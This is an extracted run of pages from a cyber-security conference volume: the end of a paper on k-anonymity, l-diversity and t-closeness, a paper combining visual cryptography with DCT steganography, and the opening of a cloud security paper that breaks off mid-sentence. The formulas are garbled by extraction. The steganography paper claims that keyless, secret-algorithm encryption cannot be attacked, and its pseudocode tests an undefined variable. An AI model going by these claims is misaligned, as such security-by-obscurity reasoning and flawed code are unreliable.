122 D. Narula et al.

scheme of local recording, if one of the values at the root level is generalized,
the rest will remain unaffected [3, 6, 7], e.g., in Fig. 1a when node PGT gen-
eralizes to its parent node teaching, it can maintain the PGT value in data set.
Multidimensional generalization: This generalization emphasizes different
generalization for different combinations of values of quasi-identifiers [3, 7],
e.g., in Fig. 1a, b [PGT, M] can be generalized to [Teaching, Person], while
[PGT, F] generalized to [School Employee, F]. This scheme has less data dis-
tortion compared to full-domain generalization.
2. Suppression: This is another flavor of generalization. In this the original values
of attribute generally quasi-attribute is replaced by special symbol (e.g., #,*) and
makes the value of that attribute meaningless, e.g., in Fig. 2 the zip code of the
city attribute is suppressed up to different levels and due to suppression at
different levels will make data more anonymous.
3. Randomization: This works with an ability to anonymize the whole data set for
certain semantic preservation. In the existing privacy-preserving data mining
techniques, randomization is considered as of important technique. This method
always provides the knowledge discovery and a balance between privacy and
utility [8]. When the randomized data is transmitted to the recipient, recipient
would receive it using distribution reconstruction algorithm.
4. Bucketization: The basic aim is partitioning tuples of table into buckets and
further separate the quasi-identifiers with reference to sensitive attribute by
arbitrary permitting values for sensitive attribute in every bucket and set of
buckets with permuted sensitive attribute values as anonymized data [8]. The
process of bucketization is used to anonymize high-dimensional data.

3 Privacy Models

In 1977, Dalenius [9] provided a severe explanation of privacy preservation as:

“Access to the published data should not enable the adversary to learn anything
extra about any target victim compared to no access to data base, even with the
presence of any adversary’s background knowledge obtained from other sources.”
So to achieve privacy preservation different privacy models are used such as
K-anonymity, l-diversity, t-closeness, etc.
1. k-anonymity method prevents record linkage proposed by Samarati and
Sweeney [10] that each record in data set should not be distinguished with at

Fig. 2 Example of Zipcode Suppression

suppression Level X Level Y Level Z Level W
600231 60023* 6002** 600***
600221 60022* 6002** 600***
600210 60021* 6002** 600***
Privacy Preservation Using Various Anonymity Models 123

least [k − 1] other records under quasi-identifiers which are projected. This is

achieved after a series of anonymity operations such as generalization, sup-
pression, etc. k-Anonymity assures that the probability of uniquely representing
an individual in released data set will not be greater than 1/k. When the method
of k-anonymity is applied to a specific data set (created by researcher) the result
with 2-anonymity is shown in Table 1. The attributes zip code and age are
treated as quasi-attribute showing at least 2-tuples, which are similar.
Moreover, when we convert data to anonymous to 3 by keeping the value of k as
3, zip code is suppressed to one more level so that at least three records are
similar and cannot be identified uniquely; results are shown in Table 2.
2. l-diversity: For upgradation, consequences of k-anonymity and to prevent
attribute linkage, Machnavajjhala et al. [11, 12] propose another model of pri-
vacy preserving called l-diversity for preventing attribute linkage attack.
l-Diversity requires for every indistinguishable category of records and their
exist at least l different values for a given sensitive attribute [13]. The result after
applying l-diversity is shown in Table 3; from the shown result, each group of

Table 1 Example of k-anonymity with k = 2

124 D. Narula et al.

Table 2 Example of k-anonymity with k = 3

record shows the value of sensitive attribute as 3. That is, it contains three
multiple values so if one identifies the group, then unable to determine the value
of sensitive attribute as it is multiple in no’s. In our example, we have taken
salary as sensitive attribute and applied l-diversity on it.
l-diversity prevents the linkage attack but it suffers from the problem of
skewness attack and similarity attack. When attacker is able to determine the
value of sensitive attribute, moreover, this is based on frequency distribution.
But similarity attack occurs when the value of sensitive attribute are different but
semantically similar quasi-group.
3. t-closeness: l-diversity never puts a check on attribute linkage when the overall
distribution of sensitive attribute is skewed, let us consider an example by
assuming a table containing sensitive attribute as disease and 95% of the records
are suffering from Flu whereas only 5% are suffering from Cancer. Now let us
suppose a qid group exists in two exactly equal half. The first half represents
Flu, whereas the other equal half represents Cancer. Now, if a tuple owner is
Privacy Preservation Using Various Anonymity Models 125

Table 3 Example of l-diversity with l = 3

falling in the second half of the qid group (which represents Cancer) then the
chances of threat are high, because it comes under 50% confidence level as
compared to 5% [9].
So for the sake of preventing skewness attack [14], t-closeness had been pro-
posed, which pertains that in any group sensitive attribute distribution on
identifying attribute be closer to the distribution of attribute in the overall table.
t-Closeness algorithm is based on the concept of earth mover distance function
which is used to measure the closeness between two distributions of sensitive
values and closeness to be within t. The result after applying t-closeness algo-
rithm is shown in Table 4. t-Closeness also suffers from the limitation of not
suitable selection of EMD function for numerical sensitive attributes and
degradation of data utility [9].
126 D. Narula et al.

Table 4 Example of t-closeness with T = 0.001

4 Analysis and Experimental Results of Various

Anonymity Models

In this section, ARX data anonymity software has been used for determining the
values of various parameters such as minimum, maximum information loss, lowest
re-identification risk, individuals affected by lowest risk, and average
re-identification risk. k-Anonymity algorithm, combination of k-anonymity and
l-diversity algorithm, and combination of k-anonymity algorithm with t-closeness
have been applied on three different data sets. Their explanation is specified as
under.
Explanation and Results of Data Set I
The first data set contains sno, name, pincode, sex, age, and disease. For the
purpose of anonymization, sno and name will be treated as identifying attributes so
Privacy Preservation Using Various Anonymity Models 127

Fig. 3 A stacked line graph 250

k(3),t(T:0.001)
representing various factors
with different anonymity
algorithms on data set I k(3),l(3)
200

k(3)

150

100

50

0
Min info Max info Lowest Individual Average
loss loss re affected re
iden fica on Risk iden fica on
Risk Risk

will not be disclosed. Attribute disease will be treated as sensitive. After applying
the experimental settings for various quasi-attributes and applying anonymization
algorithms as discussed in Fig. 3 shows the results for various parameters
graphically.
Explanation and Results of Data Set II
The second data set contains age, education, place, and occupation. For the purpose
of anonymization, attribute disease will be treated as sensitive. After applying the
experimental settings for various quasi-attributes and applying anonymization
algorithms as discussed, Fig. 4 shows the results for various parameters graphically.
Explanation and Results of Data Set III
The third data set contains age, designation, gender, zip code, and salary. For the
purpose of anonymization, attribute salary will be treated as sensitive, after
applying various hierarchical settings for quasi-attributes and applying
anonymization algorithms as discussed. Figure 5 shows the results for various
parameters graphically.
128 D. Narula et al.

Fig. 4 A stacked line graph k(3),t(T:0.001)

representing various factors 350 k(3),l(3)
with different anonymity
k(3)
algorithms on data set II
300

250

200

150

100

50

0
Min info Max info Lowest Individual Average
loss loss re affected re
iden fica on Risk iden fica on
Risk Risk

Fig. 5 A stacked line graph k(3),t(T:0.001)

representing various factors 200
k(3),l(3)
with different anonymity
algorithms on data set III 180 k(3)

160

140

120

100

80

60

40

20

0
Min info Max info Lowest Individual Average
loss loss re affected re
iden fica on Risk iden fica on
Risk Risk
Privacy Preservation Using Various Anonymity Models 129

5 Conclusion

Data sharing is an essential part for many organizations as data is spread at various
sites and available in different formats; data about the individual in its original form
must contain some attributes which need not be disclosed, i.e., sensitive in nature
and cannot be published directly. So, with the help of various privacy data models,
data should be anonymized and preserved. In this paper, various models for privacy
preserving have been discussed along with various linkage attacks and anonymity
operations. In the last segment of this paper, it has been analyzed that no one model
for anonymization gives a consistent result. Thus, one can say that not only the
technique but the data set also plays an important role as values of various
parameters varies from one data set to other. So, privacy-preserving methods needs
to be further researched. It can also be inferred that there is a need of hybrid
algorithm that can handle different scenarios.

References

1. Yang X, Ma T, Tang M, Tian W (2014) A survey of privacy preserving data publishing using
generalization and suppression. An Int J Appl Math Inf Sci 8(3):1103–1116
2. Byun J-W, Kamra A, Li N (2007) Effiecient k-anonymization using clutering techniues,
DASFAA 2007, LNCS 4443. Springer, Berlin, pp 188–200
3. LevFevre K, Dewitt DJ, Raghu R (2005) Incognito: efficient full-domain k-anonymity. In
Proceeding of ACM SIGMOD, pp 49–60, New York, 2005
4. Bayardo RJ (2005) Data privacy through optimal k-anonymization. In: International
conference on data engineering, pp 217–228, Washington, DC, USA, 2005
5. Fung, BCM, Wang K, Yu PS (2005) Top–down specification for information and privacy
preservation, In: Proceeding of 21th IEEE international conference on data engineering,
ICDE’05, pp 205–216, Tokyo, Japan 2005
6. Wong RCW, Li J, Fu AWC, Wang K (2006) (a, k)-Anonymity: an enhanced k-anonymity
model for privacy preserving data publishing. In: Proceeding of 12th international conference
on knowledge discovery and data mining, pp 754–759, Philadelphia, PA, 2006
7. Xu J, Wang W, Pei J, Wang X, Shi B, Fu AWC (2006) Utility-base anonymization using local
recoding. In: Proceedings of 12th international conference on knowledge discovery and data
mining, pp 785–790, Philadelphia, PA, USA, 2006
8. Mirashe MS, Hande KN (2015) Survey on efficient technique for annonymized microdata
preservation. Int J Emerg Dev 2(5):97–103, ISSN 2249-6149
9. Fung BCM, Wang, K, Fu AWC, Yu PS (2011) Introduction to privacy preserving data
publishing concepts and techniques. CRC Press, Taylor and Francis Group, New York, p 13,
ISBN 978-1-4200-9148-9
10. Sweeney L (2002) k-Anonymity: a model for protecting privacy. Int J Uncertan Fuzziness,
Knowl-Based Syst 10:557–570
11. Machanavajjhala A, Gehrke J, Kifer D, Venkitasubramaniam M (2006) l-Diversity: privacy
beyond k-anonymity. In: Proceedings of the 22nd IEEE international conference on data
engineering (ICDE), Atlanta, GA, 2006
130 D. Narula et al.

12. Ashoka K, Poornima B (2014) A survey of latest developments in privacy preserving data
publishing. Int J Adv Inf Sci Technol 32(32):1–10, ISSN 319:2682
13. Machanavajjjhala A, Kifer D, Gehrke J, Venkitasaubramaniam M (2007) l-Diversity: privacy
beyond k-anonymity. ACM Trans Knowl Discov Data 1(1): 1–57
14. Li N, Li T (2007) t-Closeness: privacy beyond k-anonymity and l-diversity. In: Proceedings of
21st IEEE international conference on data engineering ICDE), Istanbul, Turkey, April 2007
A Hybrid Security Mechanism Based
on DCT and Visual Cryptography
for Data Communication Networks

Yamini Jain, Gaurav Sharma, Gaurav Anand and Sangeeta Dhall

Abstract To provide security in communication networks, various cryptographic

and steganographic algorithms have been proposed. Cryptography converts the data
into a form understood only by the receiver node whereas steganography hides the
data behind a cover file; generally, an image file is used. To provide better security,
the use of hybrid mechanisms has been proposed. In this paper, we try to combine
visual cryptography coupled with DCT to provide better security for communica-
tion networks. The proposed technique is implemented in MATLAB-12, and the
overheads of mixing the two mechanisms are evaluated using several performance
metrics such as PSNR, Mean Square Error (MSE), time complexity and Mean
Absolute Error (MAE) of the mechanism. The result shows that the proposed
technique is far better in terms of security but with some overheads when compared
to stand-alone technique DCT.

Keywords Cryptography
Networks
Steganography

Y. Jain (&)
G. Sharma
G. Anand
S. Dhall

Faridabad 121006, Haryana, India
e-mail: [email protected]
G. Sharma
e-mail: [email protected]
G. Anand
e-mail: [email protected]
S. Dhall
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 131

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_14
132 Y. Jain et al.

1 Introduction

The threat of leakage of confidential data during data transmission is an utmost

concern for data communication networks. To provide security against attack by
hacker’s one mechanism is cryptography. The main aim of cryptographic algo-
rithms [1] is to convert the data into another form, only understood by the intended
recipient. Various forms of cryptographic algorithms [2] have been proposed that
may use key or not. The algorithms using key are prone to attacks while the
algorithms or mechanisms that do not employ the use of key for encryption [3] and
decryption are quite secured as, unless the intruder knows the algorithm, the
decryption is impossible. If the intruder identifies the algorithm, data can be
decrypted; otherwise, it continues to be a mystery to him.
Another mechanism to secure data communication is steganography [4]. It is
basically, the art of hiding [5] the existence of data behind a cover image. The main
objectives of steganography techniques are to make correlation between original
and stego image nearly unity, robust against attacks, high PSNR and low time
complexity of the process. Various mechanisms have been developed that tries to
inculcate these objectives but still, steganalysis remains a threat. Steganalysis [6] is
an art of extracting secret information from the stego media.
Both the techniques mentioned above are secure but are vulnerable to attacks.
Therefore, researchers tried to combine these techniques with the aim to provide
better security. Various researchers combined LSB steganography [7] technique
with some sort of cryptographic algorithm. No doubt, the technique improves
security but the hybrid mechanism can be further improved by using robust, less
time complex steganography technique such as DCT.
In this paper, we try to make a secured mechanism and also study what are the
overheads of combining the keyless mechanism with the robust mechanism like
DCT. This paper is organised into different sections: Sect. 2 gives the literature
survey and problem identification. Section 3 gives the proposed technique block
diagram. Section 4 gives the simulation set up parameters and performance metrics
used. Section 5 gives the overheads and advantages of combining the two mech-
anisms along with their reasons. At last, we conclude in Sect. 6 followed by
references.

2 Literature Survey and Problem Identification

Researchers have focused their attention towards transform domain steganographic

techniques like DCT and DWT since they are more robust to statistical attacks and
provide good security than LSB steganography. LSB steganography [8] is used
mostly because of its high payload capacity and less time complexity but it has
following disadvantages:
A Hybrid Security Mechanism Based on DCT … 133

1. It does not offer immunity and is very much prone to attacks.

2. It fails visual inspection.
3. It is less robust and is highly prone to statistical attacks.
4. It offers large payload capacity but often offsets the statistical properties of the
image.
Stand-alone DCT is prone to steganalysis and hence needs further security, and
hence a cryptographic technique should also be coupled with it. Therefore, this
paper couples DCT with visual cryptography [9]. The cryptographic algorithm does
not use any key for encryption hence is not vulnerable to attacks and at the same
time provides very good security. Gokul M. et al. [10] proposed a hybrid technique
with visual cryptography and LSB steganography. Shailender Gupta et al. [11]
proposed a hybrid system of security using RSA cryptography and LSB
steganography. R. Nivedhitha et al. [12] proposed the use of DES cryptography and
LSB steganography. PyePye Aung et al. [13] used AES cryptography and DCT
steganography technique. Shingote Parshuram N. et al. [14] in 2014 proposed AES
cryptography and LSB steganography for the network security. The above works
had several advantages like higher PSNR value, good security, usability for large
messages, etc. and disadvantages like high time complexity, limited embedding
capacity, etc. Hence, in this paper, we look forward to provide lower time com-
plexity, very high security, higher perceptual quality and eventually higher
robustness.

3 The Proposal

Figure 1 depicts the whole procedure carried out at sender and receiver side. First,
the encryption is done on the secret textusing visual cryptography [15], and then, it
is hidden behind a cover image using DCT steganography [16] and the stego image
finally created is transmitted over the network. The reversed process is carried out at
the receiver side to extract the message again.
The different techniques used in the proposal have been described as follows.

3.1 Cryptographic Technique Used

In this proposal, the cryptographic technique used is secret key visual cryptography.
In this particular technique, the secret message is divided into n shares. Presence of
all the n shares can only help in extracting the message as n-1 shares cannot reveal
any information about the message. This technique is favoured over other
134 Y. Jain et al.

Using EncrypƟon key Using Cover image

Secret/Plain text EncrypƟon Cipher Text

DCT Steganography
Algorithm

CommunicaƟon Channel

Using DecrypƟon key

Secret/Plain text Cipher Text
DecrypƟon Reverse DCT
Algorithm Steganography

Fig. 1 Block diagram of the proposal

techniques because of its lower time complexity and this feature is a result of its
simple algorithm at receiver side. Only an XOR operation is needed at receiver side
to extract the message in this technique.
At the sender side, the input data string to be encrypted is represented by inp.
Share1 and Share2 are two encrypted data strings which are created by considering
value of input inp. In the end, these two data strings(Share1 and Share2) are
combined and transmitted for further operations. Share_Comb represents the
encrypted form of inp.

Algorithm for Visual Cryptography(Sender Side)

Len=length(inp);
for i=1 to Len
Share1(i)=randi([0,1]);
end
for i=1 to Len
if(a(i)==0)
Share2(i)=Share1(i);
else
Share2(i)=not(Share1(i));
end
end
for i=1 to (2*Len)
if(i<=Len)
Share_Comb(i)=Share1(i);
else
Share_Comb(i)=Share2(i-Len);
end
end
Transmit(Share_Comb);
A Hybrid Security Mechanism Based on DCT … 135

In the following algorithm, f represents the encrypted data. The input f is broken
into shares (Share1 and Share2), and then, exclusive-OR is performed on shares to
retrieve the original data. Here, msg stores the decrypted data.

Algorithm for Visual Cryptography(Receiver Side)

Len= length(f);
for j=1 to Len
if(j<=Len/2)
Share1(j)=f(j);
else
Share2(j-(Len/2)) = f(j);
end
end
for i=1 to Len/2
msg(i)= xor(Share1(i),Share2(i));
end
return (msg);

3.2 Steganographic Technique Used

The steganographic technique used in the proposed mechanism is transform domain

DCT. The advantage of using this technique is its security and robustness. In DCT,
the cover image is split into 8*8 pixels blocks. From top to bottom and left to right,
DCT is applied to each and every block. DCT coefficient is then calculated and is
used to store the secret message. The reverse of this is performed at the receiver side
to get the message again.

Algorithm to embed text message into a cover image

INPUT: Cover image cover.jpg of WxH size and secret message stored in text.txt file
OUTPUT: A stego image
Step 1: img=imread('cover.jpg');
Step 2: temp=fopen('text.txt','r';)
Step 3: msg=fread(temp);
Step 4: msg_bin=dec2bin(msg);
Step 5: break img into 8x8 sized blocks of pixels
Step 6: Perform DCT on each block using dct2() function.
Step 7: Compress each block through quantization table.
Step 8: while (data left to embed ) do
getLSB of next DCT coefficient from cover image
get next LSB from msg_bin
replaceLSB of DCTcoefficient with message bit
end while.
Step 9: Inverse DCT is performed using idct2() function on each block.
Step 10: All the blocks are combined to form a stego image named stego_img.
136 Y. Jain et al.

Algorithm to retrieve secret message from a stego image

INPUT: A stego image

OUTPUT: Original message
Step 1: img1=imread(stego_img);
Step 2: Break img1 into 8x8 sized blocks of pixels.
Step 3: Perform DCT on each block using dct2() function.
Step 4: Compress each block using quantization table.
Step 5: Calculate LSB of each DCT coefficient.
Step 6: Concatenate the bits obtained from above step to obtain the secret message.

4 Performance Metrics

For complete analysis of the proposed scheme, different parameters are used, which
are divided into following categories:

4.1 Robustness Analysis

The parameters under this category measure the picture quality. Widely used
parameters are as follows.

4.1.1 Mean Absolute Error (MAE)

The MAE represents the mean absolute error between the original image and the
stego image.

X
n X
m
jf ði; jÞ  yði; jÞj
i¼1 j¼1

In the above formula, the mean absolute error is a mean value of the absolute
errors,. where f is the pixel value of original image and y is the true value of stego
image. Size of image is m  n monochrome image. For coloured images, size of
image will be m  n  3.

4.1.2 Mean Square Error (MSE)

MSE stands for cumulative squared error between the stego image and the original
image. Lower value of MSE suggests lower error. It is defined by the relation given
below any m x n monochrome image.
A Hybrid Security Mechanism Based on DCT … 137

1 Xm1 X
n1
MSE ¼ ½Iði; jÞ  Kði; jÞ2
mn i¼0 j¼0

For coloured image size of image will be m  n  3.

4.1.3 Peak Signal Noise Ratio (PSNR)

It is defined as the ratio of peak square value of pixels by Mean Square Error
(MSE). It is expressed in decibel. The PSNR is defined as
 
MAXI2
PSNR ¼ 10: log10
MSE

where MAXI represents maximum value of pixel of the image. In the images with
pixel having 8 bits per sample, its value is 255.

4.2 Efficiency Analysis

The parameters under this category give the Qualitative measure of image and time
required to accomplish the process. Widely used parameters are as follows.

4.2.1 Time Complexity

It is defined as the total processing time on receiver side or receiver and transmitter side.
In this paper, comparison of time consumption by all receiver side processes is taken.

4.2.2 Qualitative Analysis

The cover image may undergo change in pixel values during embedding operation as
a result of which the difference maybe observed in both the images. Hence, in order
to observe any change in visual quality, the qualitative visual analysis is helpful.

5 Analysis and Results

5.1 Robustness Analysis

For the text of size 16  8 bits:

138 Y. Jain et al.

Fig. 2 PSNR value DCT+Visual DCT

comparison 30

25

20

PSNR
15

10

0
192X192 256X256 320X320 384X384
ResoluƟon

Fig. 3 MSE value DCT+Visual DCT

comparison 2.50E+03

2.00E+03

1.50E+03
MSE

1.00E+03

5.00E+02

0.00E+00
192X192 256X256 320X320 384X384
ResoluƟon

1. Figure 2 shows PSNR value comparison of stand-alone technique with the

proposed one using different sizes of images,
The PSNR value for the proposed technique is higher than stand-alone DCT. It
can also be seen that PSNR value increases with increase in image size as the
size of plain text is constant.
2. Figure 3 shows MSE value comparison of stand-alone technique with the
proposed one using different sizes of images,
Lower MSE and MAE value shows greater similarity between the cover image
and stego image. DCT stand-alone shows higher MSE value, making its
detection easier compared to our proposed technique.
3. Figure 4 shows MAE value comparison of stand-alone technique with the
proposed one using different sizes of images,
The lower MAE value of the proposed technique indicates good characteristic
here compared to stand-alone DCT technique. It is observed that the proposed
technique is much more robust than the stand-alone DCT.
A Hybrid Security Mechanism Based on DCT … 139

Fig. 4 MAE value DCT+Visual DCT

comparison 25

20

15

MAE
10

0
192X192 256X256 320X320 384X384
ResoluƟon

Fig. 5 Elapsed time value DCT+Visual DCT

comparison 9
8
7
Elapsed Time

6
5
4
3
2
1
0
192X192 256X256 320X320 384X384
ResoluƟon

5.2 Efficiency Analysis

1. Figure 5 shows elapsed time value comparison of stand-alone technique with

the proposed one using different sizes of images,
The above comparison shows that time complexity is almost comparable of both
techniques. Use of visual cryptography keeps the time complexity in tolerable
limits.

6 Conclusion

In this paper a secure and robust hybrid mechanism has been proposed which uses
DCT steganography and visual cryptography. Comparison results in Table 1 clearly
depict that the proposed technique is better than stand-alone DCT in terms of
various parameters as can be seen from the table below.
140 Y. Jain et al.

Table 1 Overall Comparison Parameters Stand-alone Proposed

DCT technique
Robustness Low Higher
Perceptual quality Low Moderate
Embedding Low Low
capacity
Time complexity High Moderate
Security Moderate Highly secure

1. PSNR results clearly show that the proposed mechanism has a good picture
quality.
2. DCT has high time complexity. Since proposed mechanism uses visual cryp-
tography having low time complexity, therefore, the combination has moderate
time complexity.
3. Proposed mechanism provides a very good security.

References

1. William S (2003) Cryptography and network security: principles and practices. Pearsons
education, first Indian reprint
2. Preneel B Cryptographic algorithms: basic concepts and application to multimedia security.
Katholieke University, Belgium
3. Sadkhan SB (2004) Cryptography: current status and future trends. In: Proceedings of IEEE
international conference on information and communication technologies: from theory to
applications, Damascus, Syria, 19–23 Apr 2004, pp 417–418
4. Moskowitz I, Longdon G, Chang L (2000) A new paradigm hidden in Steganography. In:
Proceeding of the 2000 Workshop on new security paradigms, Ireland, pp 41–50
5. Bendor W, Gruhl D, Morimoto N, Lu A (1996) Techniques for data hiding. IBM Syst J 35(3
& 4)
6. Kharrazi M, Sencar HT, Memon N (2006) A performance study of common image
steganography and steganalysis techniques. J Electron Imaging 15:041104
7. Ker A (2004) Improved detection of LSB steganography in grayscale images. In: Proceedings
of information hiding workshop, vol 3200, Springer LNCS, pp 97–115
8. Raphael AJ, Sundaram V (2012) Cryptography and steganography—a survey. Int J Comput
Technol Appl 223–231
9. Jena D (2009) A novel visual cryptography scheme. In: IEEE international conference on
advanced computer control
10. Gokul M, Umeshbabu R, Vasudevan Shriram K, Karthik D (2012) Hybrid steganography
using visual cryptography and LSB encryption method. Int J Comput Appl 59:5–8
A Hybrid Security Mechanism Based on DCT … 141

11. Gupta S, Goyal A, Bhushan B (2012) Information hiding using least significant bit
steganography and cryptography. I.J. Modern Education and Computer Science 6:27–34
12. Nivedhita R, Meyyappan Dr T (2012) Image security using steganography and cryptographic
techniques. Int J Eng Trends Technol 3:366–371
13. Aung PP, Naing TM (2014) A novel secure combination technique of steganography and
cryptography. Int J Inf Technol Model Comput (IJITMC) 2:55–62
14. Shingote PN, Syed AH, Bhujpal PM (2014) Advanced Security using Cryptography and LSB
Matching Steganography. Int J Comput Electron Res 3:52–55
15. Nakajima M Extended use of visual cryptography for natural images, department of graphics
and computer sciences. Graduate School of Arts and Sciences, The University of Tokyo
16. Morkel T, Eloff JHP, Olivier MS (2005) An overview of image steganography. In: New
knowledge today conference, Sandton, pp 1–11

Author Biographies

Yamini jain is M.tech in Electronics and instrumentation from

Y.M.C.A university of science and technology, faridabad. Her
research interests includes image processing and data security.

Gaurav Sharma is currently pursuing B.tech in Electronics and

instrumentation from Y.M.C.A university of science and tech-
nology, faridabad. He has 6 papers in international journals/
publications.
142 Y. Jain et al.

Gaurav Anand is currently working as an engineer in Samsung

Research Institute, Noida. He is B.tech in Computer Science
from Y.M.C.A university of science and technology, faridabad.
His research areas includes data security.

Sangeeta Dhall is currently working as a professor in Y.M.C.A

university of science and technology, faridabad. She is M.tech in
Electronics and Communication and is currently pursuing her P.
hd. Her research areas includes image processing.
An Advanced Dynamic Authentic
Security Method for Cloud
Computing

S. Srinivasan and K. Raja

Abstract Cloud computing delivers a broad range of services and resources like
computational power, storage, computational platforms, and applications to cloud
consumers through the Internet by on demand, pay-per-usage basics. With a
growing number of cloud service providers resorting to using and sharing resources
in the cloud environment, there is a necessity for protecting the data of various users
from unauthorized access of information between network and cloud. However, the
security and privacy of an open-ended, reasonably sharing of accessible resources is
still uncertainty and present a major complication for cloud consumers to accli-
matize interested in cloud environment. This manuscript initiates and deeply
examines the cloud security problem. This paper deals with the protection concern
that includes many of the cloud attacks, data integrity, data leakage, privacy,
confidentiality, vulnerabilities during sharing of resources, services, and informa-
tion. This method deals with securing the cloud information without data loss from
malicious users, hackers, and attackers of a real-time environment. This method
verifies user authentication and authorization management. It assures security on
the transmission of data, quality of service, and prevents vital information from
various active and passive attacks. This proficient method preserves the cloud
environment with better performance evaluation. Furthermore, security and privacy
analysis know the ability of the proposed method for cloud computing and extend
productive efficiency with safe cloud computing environments.

Keywords Cloud security
Data integrity
Authentication
Vulnerabilities

Attacks

S. Srinivasan (&)
Research Development Center, Bharathiar University, Coimbatore, Tamilnadu, India
e-mail: [email protected]
S. Srinivasan
Department of M.C.A, K.C.G College of Technology, Chennai, Tamilnadu, India
K. Raja
Alpha College of Engineering, Chennai, Tamilnadu, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 143

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_15
144 S. Srinivasan and K. Raja

1 Introduction to Cloud Environment

Presently, cloud environment is a rapidly increasing novel information technology

of computer industry, which has produced the concern of the entire world. It is the
derivative of a large-scale distributed computing with Internet-based technology
[1]. Cloud computing environment is also a novel approach to computational
business computing, in which software, hardware, services, other resources are
shared and provided to computers by a pay-per-usage computed service through the
internetwork. It facilitates users to access storage, information, and resources online
via Internet [2]. Moreover, cloud computing offering fault-tolerant services with
improved better performance and provides an identity management mechanism for
millions of users simultaneously [3].
The cloud service providers have Infrastructure as a Service, Platform as a
Service, Software as Service, and several services to present. A cloud environment
has several characteristics such as on-required service, resource collections, elas-
ticity, and calculated measured service. The significant features of cloud environ-
ment are elasticity, scalability, multi-tenancy, self-provisioning of resources, and
on-demand self-service [4].
A cloud can be public, private, community, and hybrid cloud. According to new
information technologies (IT) and business models, the cloud computing infras-
tructures and applications have been developed rapidly and the security is the major
consideration for the customer to adopt cloud computing. Cloud environment
focuses on sharing consumers data, information, and calculations over the Internet
computing clients such as computers, data storage centers, and cloud computing
services. It allows efficient computing capabilities by centralizing global storage,

Fig. 1 Benefits of cloud computing

An Advanced Dynamic Authentic Security Method for Cloud Computing 145

processing, and bandwidth. The benefits [4, 5] of cloud environment are shown in
Fig. 1.
In a cloud environment, security and privacy are shared between the cloud
service providers and consumers. The main problem of the cloud environment is a
large number of security threats, cloud attacks, hijacking of network information on
outsourcing of resources as well as business-critical process and data. Some
security issues in the cloud are data integrity, information confidentiality, data
leakage, vulnerability, and data intrusion. To ensure facts’ confidentially, infor-
mation integrity and availability, the cloud provider provides that at a minimum,
include the following:
• Cryptographic method to guarantee that the shared and global data centers
secured all information.
• Strong user access technique and user authentication methods to protect against
illegal contact to the data.
Cloud computing security [5] is a large set of security controls, strong policies,
recent technologies, and methods set to safeguard the data and applications of the
cloud environment. The rest of this chapter is ordered as follows: Sect. 2 discusses
cloud security risks and issues. Section 3 gives a detailed description of the pro-
posed exciting advanced dynamic authentic security method for cloud computing.
Section 4 shows the performance of experimental and their interpretation outcome.
Finally, Sect. 5 concludes the paper and further improvements.

2 Security Risks and Challenges in Cloud

Security and privacy concerns indicate in the implementation of cloud computing

technologies for sharing of information, resources, services, and data storage.
Protecting the cloud data such as sharing of resources, user identification like credit
and debit card details from the malicious insider is a foremost impact in cloud.
Garfinkel [6] identified data intrusion may happen with the cloud service providers,
like Amazon service, is data intrusion. A cloud security [7] is the most responding
in the percentage of the challenge of nine issues recognized to cloud environment as
shown in Fig. 2.
In cloud, security and privacy events are observed and mentioned below [7]:
• A salesforce.com employee fell prey to a phishing attack, which leads to loss of
data that produced further during the year 2007.
According to Akhil Behl [4], Data loss is major security challenges raised by the
users. When the IT companies or organizations transfer their confidential infor-
mation to cloud, the cloud service provider is not able to undertake the security and
data integrity as they would in their location, that cause data leakage and loss of
control due to multi-tenant strategy maintained in cloud computing.
146 S. Srinivasan and K. Raja

Fig. 2 Ranking of cloud environment challenges

The important problem on the cloud is data integrity. The confidential infor-
mation stored in the cloud storage may suffer from harm or damage during tran-
sition actions from or to the cloud service provider such as the recently assaulted
Linux’s servers [8, 9].
Recent approaches for preserving the privacy and secrecy of users information
stored in the cloud storages mainly include cryptographic encryption method
(HMAC). Proof of Retrievability (POR) [10] is cryptography method for remotely
checking the data integrity and confidential information stored on the cloud server.
Information confidentiality and validity of data can be assured through crypto-
graphic methods.
Bernd et al. [11] investigate vulnerabilities that are also a major security concern
in a cloud. The control issue is a matter of vulnerabilities, which explore two
examples as listed below:
• Virtualized networks offer inadequate network-based controls.
• Poor key management events
There are several areas of risks that could be identified, in which data and
information security was the rate by 91.7% [12] as exposed in Table 1.

Table 1 Risk divisions with respect to cloud

Areas of risk Critical (%) Important (%) Not so
important (%)
Data and information security 91.7 8.3 0.0
Change control management 41.7 50.0 8.3
Third-party authentication management 41.7 41.7 16.7
Service-level agreement, regulations, 33.3 41.7 25.0
and legislation
Disaster recovery 66.7 33.3 0.0
An Advanced Dynamic Authentic Security Method for Cloud Computing 147

Some of the major cloud computing issues and different attacks [13] are men-
tioned below:
• Data confidentiality
• Vulnerability
• Leakage and loss of control
• Insider threats and malicious attacks
• Data intrusion
• Service hijacking
• Availability
• Hypervisor viruses
• Injection attack
• Denial of service
• Man-in-the-middle attack
• IP spoofing

3 Advanced Dynamic Authentic Security Method

for Cloud Computing

The advanced dynamic authentic security method for cloud computing assesses the
problem of security and privacy from the cloud architecture standpoint, cloud
delivery model, and cloud deployment model perspective. This method appraises
the problem of various attacks, data integrity, data leakage, information privacy,
confidentiality, and vulnerability during the sharing of resources in cloud com-
puting. It prevents scam, error, misuse of illegal access and rights in cloud com-
puting environment. Cloud environment allows authenticated and authorized users’
to access the confidential information and sharing of resources, which leads to
developing effective and efficient security framework in the cloud computing
environment. The need of filtering is enforced on the secure communication channel
between cloud service provider and cloud user. To construct the self-directed
security of protected cloud environment through an alliance with safety services
such as authentication, privacy, and confidentiality.
To make sure of allocation of distribution information and availability of service
by integrating cryptographic encryption method and protective sharing algorithm
with authentication method [14]. This method strengthens the security which helps
to control privileged user access and monitor activities of malicious users in a cloud
environment. The advanced dynamic authentic security model for cloud computing
is shown in Fig. 3.
This model applied a layered protective structure with different layers and
ensures information security, eliminate various attacks, vulnerable file in this cloud
environment.
148 S. Srinivasan and K. Raja

Fig. 3 An advanced dynamic authentic security model

The authentication and audit control method layer enforces user identity and
validation mechanism through biometric authentic signature verification of users,
one-time password method via mobile-based access security, social security identity
